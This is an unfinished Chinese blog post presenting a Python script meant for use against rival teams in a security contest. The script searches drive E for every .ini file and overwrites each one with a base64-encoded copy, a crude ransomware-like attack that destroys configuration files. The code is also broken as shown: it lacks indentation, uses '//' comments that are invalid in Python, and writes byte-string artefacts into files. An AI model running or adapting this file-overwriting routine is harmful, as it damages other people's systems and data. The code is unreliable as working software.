制作一个简单的加密脚本

  1. 前言:
  2. 制作过程:
  3. 代码:

前言:

这个脚本的来源是因为,11月份要去东莞理工参加网络空间杯比赛。到后面的混战,得给他们一些颜色看看才行。(滑稽)

制作过程:

1.我这里使用执行windows的dir命令来获取指定类型的所有文件
2.然后获取路径
3.打开路径里的指定文件
4.进行base64加密
5.写入
6.后续改进......

代码:

import os
import re
import base64

def jiami():
ml=[]
txs=[]
path=os.popen('E:&&cd E:&&dir /s *.ini') //获取E盘下的所有ini文件
paths=path.read()
mks=re.findall('.*?的目录',str(paths)) //获取路径
pp=re.findall('[\w]*\.ini',str(paths)) //获取文件名
for p in pp:
    txs.append('/'+p)

for v in mks:
    th=re.sub('的目录','',v)
    tf=th.replace('\\','/').strip()
    ml.append(tf)

for m in ml:
    for p in txs:
        lj=m,p
        ljs="".join(lj)
        if os.path.exists('{}'.format(ljs)):
            dk=open(ljs,'rb')
            rs=dk.read()
            jiami=base64.b64encode(rs)
            dk.close()
            dk2=open(ljs,'w')
            dk2.write(str(jiami))
            dk2.close()
            print('[+] yi ji mi {}'.format(lj))



jiami()

测试结果:

(未完,待下个星期去到实验室进行改进)

转载请注明:422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:制作一个简单的加密脚本

本文作者:九世

发布时间:2018-09-21, 17:40:01

最后更新:2019-04-19, 20:36:16

原始链接:http://jiushill.github.io/posts/98528757.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录